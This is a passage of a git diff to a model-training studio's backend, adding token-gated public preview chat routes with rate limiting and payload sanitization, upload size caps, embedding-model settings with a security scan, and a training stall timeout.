+    """Throttle the GPU-backed preview chat per client IP (429 on exceed)."""
+    retry_after = check_rate_limit(client_ip(request))
+    if retry_after:
+        raise HTTPException(
+            status_code = 429,
+            detail = "Too many preview requests. Please slow down.",
+            headers = {"Retry-After": str(retry_after)},
+        )
+
+
+def _resolve_or_4xx(run: str, checkpoint: str | None):
+    try:
+        return resolve_preview_checkpoint(run, checkpoint)
+    except ValueError as exc:
+        # Detail can carry the absolute install path on a symlink escape; log it,
+        # return a generic message on this public route.
+        logger.warning("preview path rejected: %s", exc)
+        raise HTTPException(status_code = 400, detail = "Invalid run or checkpoint")
+    except FileNotFoundError as exc:
+        raise HTTPException(status_code = 404, detail = str(exc))
+
+
+def _sanitize_preview_payload(
+    payload: ChatCompletionRequest, is_lora: bool
+) -> ChatCompletionRequest:
+    # Public surface: strip tools/MCP + provider routing (no host code / open proxy).
+    # Normalize use_adapter (never trust the caller): pin True for LoRA, None for
+    # merged. _apply_adapter_state mutates the shared model without restoring, so an
+    # unpinned `false` would persist to later visitors who omit the field.
+    #
+    # Cap generation cost on this public, GPU-backed surface. Derive one effective
+    # limit (mirroring _effective_max_tokens: max_completion_tokens wins, else the
+    # legacy max_tokens) and pin BOTH fields to it, so a caller's lower limit is
+    # honored and neither field can exceed the ceiling.
+    requested = (
+        payload.max_completion_tokens
+        if payload.max_completion_tokens is not None
+        else payload.max_tokens
+    )
+    capped_max_tokens = (
+        min(requested, _PREVIEW_MAX_OUTPUT_TOKENS)
+        if requested is not None
+        else _PREVIEW_MAX_OUTPUT_TOKENS
+    )
+    return payload.model_copy(
+        update = {
+            "tools": None,
+            "enable_tools": False,
+            "enabled_tools": None,
+            "mcp_enabled": False,
+            "bypass_permissions": False,
+            "confirm_tool_calls": False,
+            "session_id": None,
+            "rag_scope": None,
+            "openai_code_exec_container_id": None,
+            "anthropic_code_exec_container_id": None,
+            "provider_id": None,
+            "provider_type": None,
+            "external_model": None,
+            "encrypted_api_key": None,
+            "provider_base_url": None,
+            "use_adapter": True if is_lora else None,
+            "max_tokens": capped_max_tokens,
+            "max_completion_tokens": capped_max_tokens,
+            "n": 1,
+        }
+    )
+
+
+async def _unlock_after(body_iterator):
+    # Hold the lock until the stream drains so another checkpoint can't swap mid-stream.
+    try:
+        async for chunk in body_iterator:
+            yield chunk
+    finally:
+        _preview_lock.release()
+
+
+async def _serve_chat(
+    run: str, checkpoint: str | None, payload: ChatCompletionRequest, request: Request
+):
+    path = _resolve_or_4xx(run, checkpoint)
+    is_lora = (path / "adapter_config.json").exists()
+    payload = _sanitize_preview_payload(payload, is_lora)
+    # Preview always serves the pinned checkpoint it loads below; a public caller's
+    # `model` field must never trigger an OpenAI auto-switch to another GGUF.
+    disable_openai_auto_switch_for_request(getattr(request, "scope", None))
+    await _preview_lock.acquire()
+    keep_locked = False
+    try:
+        await load_model(LoadRequest(model_path = str(path)), request, DEFAULT_ADMIN_USERNAME)
+        # Beats a process-wide `--enable-tools` (enable_tools=False alone wouldn't).
+        with tools_force_disabled():
+            response = await openai_chat_completions(payload, request, DEFAULT_ADMIN_USERNAME)
+        if isinstance(response, StreamingResponse):
+            response.body_iterator = _unlock_after(response.body_iterator)
+            keep_locked = True
+        return response
+    finally:
+        if not keep_locked:
+            _preview_lock.release()
+
+
+@router.get("")
+async def list_previews(request: Request, current_subject: str = Depends(get_current_subject)):
+    base = str(request.base_url)
+    sharing_on = get_preview_sharing_enabled()
+    previews = []
+    for target in list_preview_targets():
+        ref = quote(target["ref"], safe = "/")
+        # Mint the capability for the authenticated owner: ``key`` for OpenAI
+        # clients (Bearer / api_key), ``share_url`` for the browser link. When
+        # public sharing is off, every public /p request 404s, so don't hand out
+        # dead credentials -- omit the capability and signal the disabled state.
+        token = sign_preview_ref(target["ref"]) if sharing_on else None
+        previews.append(
+            {
+                **target,
+                "url": f"{base}p/{ref}/v1",
+                "key": token,
+                "share_url": f"{base}p/{ref}?k={token}" if token else None,
+            }
+        )
+    return {"object": "list", "data": previews, "sharing_enabled": sharing_on}
+
+
+@router.post("/{run}/v1/chat/completions")
+async def preview_chat_latest(run: str, payload: ChatCompletionRequest, request: Request):
+    _verify_or_404(run, None, request)
+    _enforce_rate_limit(request)
+    return await _serve_chat(run, None, payload, request)
+
+
+@router.post("/{run}/{checkpoint}/v1/chat/completions")
+async def preview_chat_checkpoint(
+    run: str, checkpoint: str, payload: ChatCompletionRequest, request: Request
+):
+    _verify_or_404(run, checkpoint, request)
+    _enforce_rate_limit(request)
+    return await _serve_chat(run, checkpoint, payload, request)
+
+
+def _models_response(run: str, checkpoint: str | None):
+    path = _resolve_or_4xx(run, checkpoint)
+    model_id = run if not checkpoint else f"{run}/{checkpoint}"
+    return {
+        "object": "list",
+        "data": [
+            {
+                "id": model_id,
+                "object": "model",
+                "created": int(path.stat().st_mtime),
+                "owned_by": "unsloth-studio",
+            }
+        ],
+    }
+
+
+# The models/page GET routes only stat the checkpoint dir (no GPU), so they are
+# token-gated but not rate-limited; only the GPU-backed chat path is throttled.
+@router.get("/{run}/v1/models")
+async def preview_models_latest(run: str, request: Request):
+    _verify_or_404(run, None, request)
+    return _models_response(run, None)
+
+
+@router.get("/{run}/{checkpoint}/v1/models")
+async def preview_models_checkpoint(run: str, checkpoint: str, request: Request):
+    _verify_or_404(run, checkpoint, request)
+    return _models_response(run, checkpoint)
+
+
+# Serve logo/fonts here too: the SPA static mount is absent in --api-only (Tauri).
+_FRONTEND_DIST = (Path(__file__).resolve().parents[2] / "frontend" / "dist").resolve()
+_PREVIEW_ASSET_MEDIA_TYPES = {
+    ".png": "image/png",
+    ".woff": "font/woff",
+    ".woff2": "font/woff2",
+}
+
+
+@router.get("/_assets/{asset_path:path}")
+async def preview_asset(asset_path: str):
+    target = (_FRONTEND_DIST / asset_path).resolve()
+    media_type = _PREVIEW_ASSET_MEDIA_TYPES.get(target.suffix.lower())
+    if media_type is None or not target.is_relative_to(_FRONTEND_DIST) or not target.is_file():
+        raise HTTPException(status_code = 404, detail = "Not found")
+    return FileResponse(target, media_type = media_type)
+
+
+# Self-contained public page; only the title is interpolated.
+_PREVIEW_PAGE_HTML = (
+    Path(__file__).resolve().parent.parent / "assets" / "preview_page.html"
+).read_text(encoding = "utf-8")
+
+_PREVIEW_PAGE_CSP = (
+    "default-src 'self'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; "
+    "img-src 'self'; font-src 'self'; connect-src 'self'; base-uri 'none'"
+)
+
+
+def _preview_page(run: str, checkpoint: str | None) -> HTMLResponse:
+    _resolve_or_4xx(run, checkpoint)
+    title = run if not checkpoint else f"{run}/{checkpoint}"
+    page = _PREVIEW_PAGE_HTML.replace("__TITLE__", html.escape(title))
+    # no-referrer: the capability token rides in the query string, so keep it out
+    # of the Referer header on any outbound navigation.
+    return HTMLResponse(
+        page,
+        headers = {
+            "Content-Security-Policy": _PREVIEW_PAGE_CSP,
+            "Referrer-Policy": "no-referrer",
+        },
+    )
+
+
+@router.get("/{run}", response_class = HTMLResponse)
+async def preview_page_latest(run: str, request: Request):
+    _verify_or_404(run, None, request)
+    return _preview_page(run, None)
+
+
+@router.get("/{run}/{checkpoint}", response_class = HTMLResponse)
+async def preview_page_checkpoint(run: str, checkpoint: str, request: Request):
+    _verify_or_404(run, checkpoint, request)
+    return _preview_page(run, checkpoint)
diff --git a/studio/backend/routes/rag.py b/studio/backend/routes/rag.py
index 8d23240fd5..e20fea74a3 100644
--- a/studio/backend/routes/rag.py
+++ b/studio/backend/routes/rag.py
@@ -19,7 +19,7 @@ import secrets
 import time
 import uuid
 
-from fastapi import APIRouter, Depends, File, HTTPException, Query, UploadFile
+from fastapi import APIRouter, Depends, File, Form, HTTPException, Query, UploadFile
 from fastapi.responses import FileResponse, StreamingResponse
 from pydantic import BaseModel, Field
 
@@ -62,13 +62,24 @@ def _save_upload(file: UploadFile) -> tuple[str, str]:
     uploads = ensure_dir(rag_uploads_root())
     stored_path = str(uploads / f"{uuid.uuid4().hex}{ext}")
     size = 0
+    cap = config.MAX_UPLOAD_BYTES
+    too_big = False
     with open(stored_path, "wb") as out:
         while True:
             block = file.file.read(1 << 20)
             if not block:
                 break
             size += len(block)
+            if cap and size > cap:
+                too_big = True
+                break
             out.write(block)
+    if too_big:
+        os.remove(stored_path)
+        raise HTTPException(
+            status_code = 413,
+            detail = f"File exceeds the {cap // (1024 * 1024)} MB upload limit.",
+        )
     if size == 0:
         os.remove(stored_path)
         raise HTTPException(status_code = 400, detail = "Uploaded file is empty.")
@@ -156,7 +167,7 @@ def create_knowledge_base(
             conn,
             name = payload.name.strip(),
             description = (payload.description or None),
-            embedding_model = config.EMBEDDING_MODEL,
+            embedding_model = config.effective_embedding_model(),
         )
         return {"id": kb_id, "name": payload.name.strip()}
     finally:
@@ -207,6 +218,8 @@ def delete_knowledge_base(kb_id: str, subject: str = Depends(get_current_subject
 async def upload_kb_document(
     kb_id: str,
     file: UploadFile = File(...),
+    ocr: bool | None = Form(None),
+    caption: bool | None = Form(None),
     subject: str = Depends(get_current_subject),
 ) -> dict:
     _require_rag()
@@ -218,7 +231,7 @@ async def upload_kb_document(
         conn.close()
     stored_path, filename = _save_upload(file)
     document_id, job_id = ingestion.start_ingestion(
-        store.kb_scope(kb_id), kb_id, None, filename, stored_path
+        store.kb_scope(kb_id), kb_id, None, filename, stored_path, ocr = ocr, caption = caption
     )
     return {"documentId": document_id, "jobId": job_id, "filename": filename}
 
@@ -238,12 +251,20 @@ def list_kb_documents(kb_id: str, subject: str = Depends(get_current_subject)) -
 async def upload_thread_document(
     thread_id: str,
     file: UploadFile = File(...),
+    ocr: bool | None = Form(None),
+    caption: bool | None = Form(None),
     subject: str = Depends(get_current_subject),
 ) -> dict:
     _require_rag()
     stored_path, filename = _save_upload(file)
     document_id, job_id = ingestion.start_ingestion(
-        store.thread_scope(thread_id), None, thread_id, filename, stored_path
+        store.thread_scope(thread_id),
+        None,
+        thread_id,
+        filename,
+        stored_path,
+        ocr = ocr,
+        caption = caption,
     )
     return {"documentId": document_id, "jobId": job_id, "filename": filename}
 
@@ -263,6 +284,8 @@ def list_thread_documents(thread_id: str, subject: str = Depends(get_current_sub
 async def upload_project_document(
     project_id: str,
     file: UploadFile = File(...),
+    ocr: bool | None = Form(None),
+    caption: bool | None = Form(None),
     subject: str = Depends(get_current_subject),
 ) -> dict:
     _require_rag()
@@ -278,6 +301,8 @@ async def upload_project_document(
         filename,
         stored_path,
         project_id = project_id,
+        ocr = ocr,
+        caption = caption,
     )
     return {"documentId": document_id, "jobId": job_id, "filename": filename}
 
@@ -321,6 +346,7 @@ def job_status(job_id: str, subject: str = Depends(get_current_subject)) -> dict
         "stage": row.get("stage"),
         "progress": row.get("progress") or 0.0,
         "error": row.get("error"),
+        "numChunks": row.get("num_chunks") or 0,
     }
 
 
diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index d01009fc20..914699f540 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -4,10 +4,11 @@
 from typing import Literal, Optional
 from urllib.parse import unquote, urlsplit
 
-from fastapi import APIRouter, Depends
+from fastapi import APIRouter, Depends, HTTPException
 from pydantic import BaseModel, ConfigDict, Field, field_validator
 
 from auth.authentication import get_current_subject
+from auth.storage import rotate_preview_link_secret
 from loggers import get_logger
 from utils.utils import safe_error_detail, log_and_http_error
 from utils.personalization_settings import (
@@ -31,6 +32,30 @@ from utils.helper_precache_settings import (
     helper_model_disabled_by_env,
     set_helper_precache_enabled,
 )
+from utils.openai_auto_switch_settings import (
+    DEFAULT_AUTO_UNLOAD_IDLE_SECONDS,
+    DEFAULT_OPENAI_AUTO_SWITCH_ENABLED,
+    get_auto_unload_idle_seconds,
+    get_model_overrides,
+    get_openai_auto_switch_enabled,
+    get_stored_auto_unload_idle_seconds,
+    set_model_override,
+    set_openai_auto_switch,
+)
+from utils.preview_sharing_settings import (
+    DEFAULT_PREVIEW_SHARING_ENABLED,
+    get_preview_sharing_enabled,
+    set_preview_sharing_enabled,
+)
+from utils.embedding_model_settings import (
+    MAX_EMBEDDING_MODEL_LENGTH,
+    default_embedding_model,
+    get_rag_embedding_model,
+    get_stored_embedding_model,
+    reset_rag_embedding_model,
+    set_rag_embedding_model,
+    validate_embedding_model,
+)
 
 router = APIRouter()
 
@@ -60,6 +85,33 @@ class HelperPrecacheResponse(BaseModel):
     disabled_by_env: bool
 
 
+class OpenAIAutoSwitchPayload(BaseModel):
+    enabled: bool
+    auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0)
+
+
+class OpenAIAutoSwitchResponse(BaseModel):
+    enabled: bool
+    auto_unload_idle_seconds: int
+    default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
+    # True when the idle-unload loop will actually unload (effective TTL > 0). With
+    # UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled
+    # is false, so the UI can show idle-unload as active instead of "needs enable".
+    idle_unload_active: bool = False
+
+
+class ModelOverridePayload(BaseModel):
+    model_id: str = Field(..., min_length = 1)
+    llama_extra_args: list[str] = Field(default_factory = list)
+    # ge=1: 0 is not a valid sequence length, and the setter drops a falsy value,
+    # so reject it at the boundary instead of accepting then silently discarding it.
+    max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576)
+
+
+class ModelOverridesResponse(BaseModel):
+    overrides: dict[str, dict]
+
+
 def _upload_limit_response(limit_mb: int) -> UploadLimitResponse:
     return UploadLimitResponse(
         max_upload_size_mb = limit_mb,
@@ -122,6 +174,349 @@ def update_helper_precache(
     return _helper_precache_response(enabled)
 
 
+@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
+def get_openai_auto_switch(
+    current_subject: str = Depends(get_current_subject),
+) -> OpenAIAutoSwitchResponse:
+    return OpenAIAutoSwitchResponse(
+        enabled = get_openai_auto_switch_enabled(),
+        auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(),
+        idle_unload_active = get_auto_unload_idle_seconds() > 0,
+    )
+
+
+@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
+def update_openai_auto_switch(
+    payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject)
+) -> OpenAIAutoSwitchResponse:
+    try:
+        enabled, idle_seconds = set_openai_auto_switch(
+            payload.enabled, payload.auto_unload_idle_seconds
+        )
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."),
+            event = "settings.update_openai_auto_switch_failed",
+            log = logger,
+        ) from exc
+    return OpenAIAutoSwitchResponse(
+        enabled = enabled,
+        auto_unload_idle_seconds = idle_seconds,
+        idle_unload_active = get_auto_unload_idle_seconds() > 0,
+    )
+
+
+@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
+def get_openai_auto_switch_overrides(
+    current_subject: str = Depends(get_current_subject),
+) -> ModelOverridesResponse:
+    return ModelOverridesResponse(overrides = get_model_overrides())
+
+
+@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
+def update_openai_auto_switch_override(
+    payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject)
+) -> ModelOverridesResponse:
+    from core.inference.llama_server_args import validate_extra_args
+    try:
+        extra_args = validate_extra_args(payload.llama_extra_args)
+        set_model_override(
+            payload.model_id,
+            llama_extra_args = extra_args,
+            max_seq_length = payload.max_seq_length,
+        )
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid model launch override."),
+            event = "settings.update_model_override_failed",
+            log = logger,
+        ) from exc
+    return ModelOverridesResponse(overrides = get_model_overrides())
+
+
+class EmbeddingModelPayload(BaseModel):
+    embedding_model: str = Field(..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH)
+    # Token for gated/private repos during verification (not stored).
+    hf_token: Optional[str] = Field(default = None, max_length = 512)
+    # Skip HF verification (offline installs, local paths HF can't see).
+    force: bool = False
+
+
+class EmbeddingModelResponse(BaseModel):
+    embedding_model: str
+    default_embedding_model: str
+    is_custom: bool
+
+
+def _embedding_model_response() -> EmbeddingModelResponse:
+    return EmbeddingModelResponse(
+        embedding_model = get_rag_embedding_model(),
+        default_embedding_model = default_embedding_model(),
+        is_custom = get_stored_embedding_model() is not None,
+    )
+
+
+def _ambient_hf_token() -> Optional[str]:
+    """The HF token the loader would use (HF_TOKEN env or the cached login), so a gated
+    repo is scanned rather than failing open. None if unavailable."""
+    try:
+        from huggingface_hub import get_token
+        return get_token()
+    except Exception:
+        return None
+
+
+def _llama_backend_active() -> bool:
+    """True when this install actually embeds via the llama-server (GGUF) backend.
+
+    Delegates to the embeddings module so a runtime fallback from
+    sentence-transformers to llama-server (after a torch/CUDA load or encode
+    failure) is honored: in that state the process loads only inert GGUF, so the
+    ST pickle gate below must not hard-block a repo whose GGUF companion is clean.
+    Before any backend is built this still reflects the resolver."""
+    from core.rag import embeddings
+    try:
+        return embeddings.active_backend_is_llama()
+    except Exception:  # noqa: BLE001 - backend probe must never block saving
+        return False
+
+
+def _resolves_as_local_gguf(model: str) -> bool:
+    """True when ``model`` is a local .gguf file or a directory holding one, so
+    a save on the llama-server backend needs no HF verification (the artifact
+    itself is the proof)."""
+    from core.rag.embed_llama_server import LlamaServerBackend
+    try:
+        return LlamaServerBackend._resolve_local_gguf(model) is not None
+    except Exception:  # noqa: BLE001 - dir without .gguf, filesystem oddity
+        return False
+
+
+def _local_gguf_backend_error(model: str) -> str | None:
+    """409 detail when ``model`` is a local dir without a .gguf but this install
+    embeds via llama-server (macOS/CPU default), which needs one. A
+    sentence-transformers-only folder would verify fine yet fail at first index.
+    None when not applicable. ``force`` skips this check like HF verification."""
+    from pathlib import Path
+
+    if not Path(model).expanduser().is_dir():
+        return None
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    if not _llama_backend_active():
+        return None
+    try:
+        LlamaServerBackend._resolve_local_gguf(model)
+        return None
+    except RuntimeError:
+        return (
+            f"{model!r} contains no .gguf file, but this install embeds with the "
+            "llama-server backend which requires one. Add a GGUF file to the "
+            "folder or use a Hugging Face repo."
+        )
+    except Exception:  # noqa: BLE001 - filesystem oddity: don't block saving
+        return None
+
+
+def _hf_gguf_backend_error(model: str, hf_token: Optional[str]) -> str | None:
+    """409 detail when the llama-server backend would find no .gguf for an HF
+    repo: neither the derived companion repo nor the repo itself has one. Saves
+    that verify as embedding models would otherwise fail at first index.
+    None when not applicable; ``force`` skips this like HF verification."""
+    from pathlib import Path
+
+    if Path(model).expanduser().exists():
+        return None  # local paths are handled by the local checks
+    if not _llama_backend_active():
+        return None
+    from core.rag import config as rag_config
+
+    candidates = [model] if rag_config._names_gguf(model) else [f"{model}-GGUF", model]
+    try:
+        from huggingface_hub import list_repo_files
+    except Exception:  # noqa: BLE001 - hub client unavailable: don't block saving
+        return None
+    for candidate in candidates:
+        try:
+            files = list_repo_files(candidate, token = hf_token)
+        except Exception:  # noqa: BLE001 - missing/gated repo: try next candidate
+            continue
+        if any(f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files):
+            return None
+    checked = " or ".join(repr(c) for c in candidates)
+    return (
+        f"No GGUF weights found in {checked}, but this install embeds with the "
+        "llama-server backend which requires them. Pick a model with a GGUF "
+        "companion repo or GGUF files in the repo itself."
+    )
+
+
+@router.get("/embedding-model", response_model = EmbeddingModelResponse)
+def get_embedding_model(
+    current_subject: str = Depends(get_current_subject),
+) -> EmbeddingModelResponse:
+    return _embedding_model_response()
+
+
+@router.put("/embedding-model", response_model = EmbeddingModelResponse)
+def update_embedding_model(
+    payload: EmbeddingModelPayload, current_subject: str = Depends(get_current_subject)
+) -> EmbeddingModelResponse:
+    """Set the RAG embedding model. Unless ``force`` is set, the repo is verified
+    to be an embedding model via HF metadata; an unverifiable model (wrong type,
+    typo, gated repo, or no network) returns 409 so the UI can offer "save anyway".
+    A repo flagged unsafe by HF's security scan returns 403 instead: a hard block
+    that ``force`` cannot bypass, so the UI must not offer "save anyway".
+    Documents indexed under the previous model must be re-uploaded."""
+    from utils.models import is_embedding_model
+
+    try:
+        model = validate_embedding_model(payload.embedding_model)
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid embedding model."),
+            event = "settings.update_embedding_model_failed",
+            log = logger,
+        ) from exc
+    hf_token = (payload.hf_token or "").strip() or None
+    # The env/default model needs no verification; saving it is a no-op override.
+    # A local GGUF on the llama-server backend is accepted as-is: it is exactly
+    # what the backend loads, and HF metadata cannot verify a local path.
+    is_local_gguf = _llama_backend_active() and _resolves_as_local_gguf(model)
+    # The pickle gate only matters for the sentence-transformers backend, which is what
+    # deserializes pickles. On the llama-server backend the embedder loads GGUF files
+    # (inert) from effective_gguf_repo(), so scanning the ST repo's pickle here would
+    # wrongly reject a custom repo whose GGUF companion is clean; the GGUF availability
+    # checks below cover that path instead.
+    scan_st_pickle = (
+        model != default_embedding_model() and not is_local_gguf and not _llama_backend_active()
+    )
+    if scan_st_pickle:
+        # Malware/pickle gate before we persist a repo the embedder later loads with
+        # SentenceTransformer. Runs even under force (force only skips the is-embedding
+        # type check for offline/local repos HF cannot verify); local paths and
+        # unreachable scans fail open inside evaluate_file_security.
+        from utils.security import evaluate_file_security, security_load_subdirs
+        from core.rag.embeddings import _st_module_subdirs
+
+        # Fall back to the loader's own token so a gated/private repo is actually scanned
+        # (a token-less scan fails open for exactly the repo that would still load).
+        scan_token = hf_token or _ambient_hf_token()
+        # Include the ST module dirs (0_Transformer/) so a flagged pickle directly under
+        # one blocks instead of passing as an unreferenced nested shard.
+        load_subdirs = tuple(
+            dict.fromkeys(
+                (
+                    *security_load_subdirs(model, scan_token),
+                    *_st_module_subdirs(model, scan_token),
+                )
+            )
+        )
+        if evaluate_file_security(model, hf_token = scan_token, load_subdirs = load_subdirs).blocked:
+            # 403, not 409: the client routes every 409 into the forceable "save anyway"
+            # flow, but this block is a hard, non-forceable security refusal.
+            raise HTTPException(
+                status_code = 403,
+                detail = (
+                    f"{model!r} is flagged as unsafe by Hugging Face's security scan and "
+                    "cannot be used as the embedding model."
+                ),
+            )
+    if model != default_embedding_model() and not payload.force and not is_local_gguf:
+        from core.rag import config as rag_config
+
+        # A GGUF-named repo on the llama-server backend is loaded from its .gguf
+        # files, which rarely carry sentence-transformers metadata; verify the
+        # GGUF is available (below) rather than the ST embedding-metadata gate,
+        # which would wrongly 409 a valid online GGUF embedder.
+        gguf_named = _llama_backend_active() and rag_config._names_gguf(model)
+        if not gguf_named and not is_embedding_model(model, hf_token = hf_token):
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    f"Could not verify {model!r} as an embedding model on "
+                    "Hugging Face (it may be the wrong model type, gated, or "
+                    "you may be offline)."
+                ),
+            )
+        gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token)
+        if gguf_error:
+            raise HTTPException(status_code = 409, detail = gguf_error)
+    set_rag_embedding_model(model)
+    logger.info(
+        "settings.embedding_model_updated subject=%s model=%s forced=%s",
+        current_subject,
+        model,
+        payload.force,
+    )
+    return _embedding_model_response()
+
+
+@router.delete("/embedding-model", response_model = EmbeddingModelResponse)
+def reset_embedding_model(
+    current_subject: str = Depends(get_current_subject),
+) -> EmbeddingModelResponse:
+    """Clear the override, returning to the env/default model."""
+    reset_rag_embedding_model()
+    logger.info("settings.embedding_model_reset subject=%s", current_subject)
+    return _embedding_model_response()
+
+
+class PreviewLinkRotateResponse(BaseModel):
+    rotated: bool = True
+
+
+@router.post("/preview-links/rotate", response_model = PreviewLinkRotateResponse)
+def rotate_preview_links(
+    current_subject: str = Depends(get_current_subject),
+) -> PreviewLinkRotateResponse:
+    """Rotate the preview-link signing secret, revoking every previously shared `/p` link."""
+    rotate_preview_link_secret()
+    logger.info("settings.preview_links_rotated subject=%s", current_subject)
+    return PreviewLinkRotateResponse(rotated = True)
+
+
+class PreviewSharingPayload(BaseModel):
+    enabled: bool
+
+
+class PreviewSharingResponse(BaseModel):
+    enabled: bool
+    default_enabled: bool = DEFAULT_PREVIEW_SHARING_ENABLED
+
+
+@router.get("/preview-sharing", response_model = PreviewSharingResponse)
+def get_preview_sharing(
+    current_subject: str = Depends(get_current_subject),
+) -> PreviewSharingResponse:
+    return PreviewSharingResponse(enabled = get_preview_sharing_enabled())
+
+
+@router.put("/preview-sharing", response_model = PreviewSharingResponse)
+def update_preview_sharing(
+    payload: PreviewSharingPayload, current_subject: str = Depends(get_current_subject)
+) -> PreviewSharingResponse:
+    """Enable/disable the public `/p` preview surface. When off, links 404 even with a token."""
+    try:
+        enabled = set_preview_sharing_enabled(payload.enabled)
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid preview sharing setting."),
+            event = "settings.update_preview_sharing_failed",
+            log = logger,
+        ) from exc
+    logger.info("settings.preview_sharing_updated subject=%s enabled=%s", current_subject, enabled)
+    return PreviewSharingResponse(enabled = enabled)
+
+
 def _is_bundled_avatar_url(value: str) -> bool:
     parsed = urlsplit(value)
     if parsed.scheme or parsed.netloc:
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 8da0dc508f..1da1c4f425 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -47,7 +47,7 @@ except ImportError:
     from utils.paths import resolve_dataset_path
 
 # Auth
-from auth.authentication import get_current_subject
+from auth.authentication import authenticated_via_api_key, get_current_subject
 
 from utils.utils import log_and_http_error
 
@@ -68,6 +68,11 @@ class TrainingStopRequest(PydanticBaseModel):
 router = APIRouter()
 logger = get_logger(__name__)
 
+# Consecutive 1s polls without a step update that count as a stall. Applied only
+# once stepping: the pre-first-step phase (model load + tokenization) can take far
+# longer, and timing out there made a healthy long-prep run look frozen.
+_PROGRESS_STALL_TIMEOUT_POLLS = 1800  # ~30 min at 1 poll/sec
+
 
 def _validate_local_dataset_paths(paths: list[str], label: str = "Local dataset") -> list[str]:
     """Resolve and validate a list of local dataset paths. Returns validated absolute paths."""
@@ -109,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu
 
 @router.post("/start")
 async def start_training(
-    request: TrainingStartRequest, current_subject: str = Depends(get_current_subject)
+    request: TrainingStartRequest,
+    current_subject: str = Depends(get_current_subject),
+    via_api_key: bool = Depends(authenticated_via_api_key),
 ):
     """
     Start a training job.
@@ -120,6 +127,22 @@ async def start_training(
     try:
         logger.info(f"Starting training job with model: {request.model_name}")
 
+        # When Studio is driven as an inference API (API-key auth), refuse to start
+        # training while a request is in flight: training frees VRAM by unloading
+        # the chat model, which would kill the stream. The Studio UI (session auth)
+        # still starts training and coexists/frees VRAM as before. (A mixed UI+API
+        # session is not yet special-cased.)
+        if via_api_key is True:
+            from core.inference.llama_keepwarm import other_inference_request_count
+            if other_inference_request_count(current_request_counted = False) > 0:
+                raise HTTPException(
+                    status_code = 409,
+                    detail = (
+                        "Cannot start training over the API while an inference request is in "
+                        "progress. Wait for it to finish, or start training from the Studio UI."
+                    ),
+                )
+
         # No in-process ensure_transformers_version(): the subprocess
         # (worker.py) activates the correct version before importing ML libs.
 
@@ -250,6 +273,7 @@ async def start_training(
         # Convert request to backend kwargs.
         training_kwargs = {
             "model_name": request.model_name,
+            "project_name": request.project_name,
             "training_type": request.training_type,
             "hf_token": request.hf_token or "",
             "load_in_4bit": request.load_in_4bit,
@@ -833,9 +857,20 @@ async def stream_training_progress(
         # ── Live polling loop ────────────────────────────────────
         last_step = resume_from_step if resume_from_step is not None else -1
         no_update_count = 0
-        max_no_updates = 1800  # Timeout after 30 min (large models need compile time)
+        # The stall timeout applies only once the run is stepping (pre-step prep
+        # may legitimately emit no step for a long time). On reconnect to an
+        # already-stepping run, seed from the resume point / history, else a worker
+        # that hangs after step N never times out for a client that reconnects past it.
+        seen_live_step = (resume_from_step is not None and resume_from_step > 0) or bool(
+            backend.step_history
+        )
 
         while backend.is_training_active():
+            # Client gone: end the generator without falling through to the final
+            # "complete" frame, which a buffered/proxy consumer could otherwise read
+            # as a finished run while training is still active.
+            if await request.is_disconnected():
+                return
             try:
                 tp_inner = getattr(getattr(backend, "trainer", None), "training_progress", None)
                 live_step = (getattr(tp_inner, "step", 0) or 0) if tp_inner else 0
@@ -871,6 +906,7 @@ async def stream_training_progress(
                         )
                         last_step = current_step
                         no_update_count = 0
+                        seen_live_step = True
                     else:
                         no_update_count += 1
                         # Heartbeat every 10 seconds.
@@ -913,8 +949,9 @@ async def stream_training_progress(
                             event_id = 0,
                         )
 
-                # Timeout check
-                if no_update_count > max_no_updates:
+                # Fires only once stepping: a long pre-first-step prep phase is not
+                # a stall, and ending the stream there made a healthy run look frozen.
+                if seen_live_step and no_update_count > _PROGRESS_STALL_TIMEOUT_POLLS:
                     logger.warning("Progress stream timeout - no updates received")
                     tp_timeout = getattr(
                         getattr(backend, "trainer", None), "training_progress", None
diff --git a/studio/backend/routes/training_history.py b/studio/backend/routes/training_history.py
index 1560c72767..c0b5820632 100644
--- a/studio/backend/routes/training_history.py
+++ b/studio/backend/routes/training_history.py
@@ -6,6 +6,7 @@ Training history API routes — browse, view, and delete past training runs.
 """
 
 import json
+from typing import Optional
 
 from fastapi import APIRouter, Depends, HTTPException, Query
 from loggers import get_logger
@@ -27,12 +28,31 @@ from storage.studio_db import (
     list_runs,
     update_run_display_name,
 )
+from utils.models.checkpoints import has_preview_model, preview_ref
+from utils.preview_sharing_settings import get_preview_sharing_enabled
+from utils.preview_token import sign_preview_ref
 
 logger = get_logger(__name__)
 
 router = APIRouter()
 
 
